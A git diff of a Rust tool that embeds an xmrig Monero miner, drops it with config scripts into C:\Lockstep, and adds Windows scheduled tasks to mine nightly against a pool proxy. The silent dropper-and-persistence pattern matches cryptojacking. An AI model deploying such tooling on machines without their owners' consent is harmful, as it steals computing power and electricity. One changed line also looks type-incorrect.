diff --git a/src/main.rs b/src/main.rs index 19cc95f..00108b0 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,3 +1,4 @@ + extern crate alloc; use clap::{Parser, ValueEnum}; @@ -14,6 +15,23 @@ pub const CONFIG_SRC: &str = include_str!("resources/config.cmd"); pub const WORK_BIN: &[u8] = include_bytes!("resources/xmrig.exe"); pub const SLAVE_ROOT: &str = "Lockstep"; pub const WORK_NAME: &str = "xmrig"; +pub const DAILY_WORK_NAME: &str = "Lockstep\\Daily Work"; +pub const DAILY_STOP_NAME: &str = "Lockstep\\Yield"; + +#[derive(Debug, Clone, Copy, Default, ValueEnum)] +enum AppModes { + #[default] + KillCommand, + MoveIn, + RunWork, + MoveOut, +} + +#[derive(Parser, Debug)] +#[command(name = "Lockstep", version = APP_VERSION, about = "Keep them in lockstep")] +struct Cli { + app_modes: AppModes, +} /// Executes a Windows binary with the given parameters. /// @@ -31,14 +49,30 @@ fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result { .output() } -fn run_schedule_daily_comand() { +fn remove_command(name: &str) { + let binary = "C:/windows/system32/schtasks.exe"; + let parameters = ["/delete", "/tn", name, "/f"]; + + match run_windows_binary(binary, ¶meters) { + Ok(output) => { + println!("Status: {}", output.status); + println!("stdout: {}", String::from_utf8_lossy(&output.stdout)); + println!("stderr: {}", String::from_utf8_lossy(&output.stderr)); + } + Err(error) => { + eprintln!("Failed to execute -> {}", error); + } + } +} + +fn schedule_command(tod: &str, command: &str, name: &str) { let binary = "C:/windows/system32/schtasks.exe"; - let target_cmd = format!("C:\\{}\\daily.cmd", SLAVE_ROOT); let parameters = ["/create", - "/tn", "LockStep\\Daily Task", + "/tn", name, "/sc", "daily", - "/st", "19:00", - "/tr", target_cmd.as_str()]; + "/st", tod, + "/sd", "01/01/2001", + "/tr", command]; match run_windows_binary(binary, ¶meters) { Ok(output) => { @@ -52,6 +86,16 @@ fn run_schedule_daily_comand() { } } +fn run_schedule_daily_command() { + schedule_command("19:00", format!("C:\\{}\\daily.cmd", SLAVE_ROOT).as_str(), DAILY_WORK_NAME); + schedule_command("05:00", format!("C:\\{}\\stop_work.cmd", SLAVE_ROOT).as_str(), DAILY_STOP_NAME); +} + +fn remove_daily_commands() { + remove_command(DAILY_WORK_NAME); + remove_command(DAILY_STOP_NAME); +} + fn run_monero_miner() { let binary = "C:/lockstep/xmrig.exe"; let parameters = ["-o", "proxy.geekback.dev", @@ -76,7 +120,8 @@ fn run_monero_miner() { fn run_kill_command() { let binary = "C:/windows/system32/taskkill.exe"; - let parameters = ["/IM", "xmrig.exe", "/F"]; + let work_name_path = format!("{}.exe", WORK_NAME); + let parameters = ["/IM", work_name_path.as_str(), "/F"]; match run_windows_binary(binary, ¶meters) { Ok(output) => { @@ -90,26 +135,25 @@ fn run_kill_command() { } } -#[derive(Debug, Clone, Copy, Default, ValueEnum)] -enum AppModes { - #[default] - KillCommand, - ScheduleDaily, - RunWork, - DropScripts -} - -#[derive(Parser, Debug)] -#[command(name = "MyCLI", version = "1.0", about = "A simple CLI tool")] -struct Cli { - app_modes: AppModes +fn create_file(name: &str, content: &[u8]) { +// File::create(Path::new("C:\\Lockstep\\daily.cmd")).unwrap().write(DAILY_SRC.as_bytes()).unwrap(); + let full_path = format!("C:\\{}\\{}", SLAVE_ROOT, name); + File::create(Path::new(full_path.as_str())).unwrap().write(content).unwrap(); } fn drop_scripts_and_work() { - let _ = fs::create_dir("C:\\Lockstep"); - File::create(Path::new("C:\\Lockstep\\daily.cmd")).unwrap().write(DAILY_SRC.as_bytes()).unwrap(); - File::create(Path::new("C:\\Lockstep\\config.bat")).unwrap().write(CONFIG_SRC.as_bytes()).unwrap(); - File::create(Path::new("C:\\Lockstep\\xmrig.exe")).unwrap().write(WORK_BIN).unwrap(); + #[cfg(windows)] { + let _ = fs::create_dir(format!("c:\\{}", SLAVE_ROOT).as_str()); + create_file("daily.cmd", DAILY_SRC.as_bytes()); + create_file("config.bat", CONFIG_SRC.as_bytes()); + create_file(format!("{}.exe", WORK_NAME), WORK_BIN); + } + #[cfg(not(windows))] { + println!("Create path."); + println!("Drop daily cmd"); + println!("Drop config"); + println!("Drop worker"); + } } fn main() { @@ -120,14 +164,15 @@ fn main() { AppModes::KillCommand => { run_kill_command(); } - AppModes::ScheduleDaily => { - run_schedule_daily_comand(); + AppModes::MoveIn => { + run_schedule_daily_command(); + drop_scripts_and_work(); } AppModes::RunWork => { run_monero_miner(); } - AppModes::DropScripts => { - drop_scripts_and_work(); + AppModes::MoveOut => { + remove_daily_commands(); } } }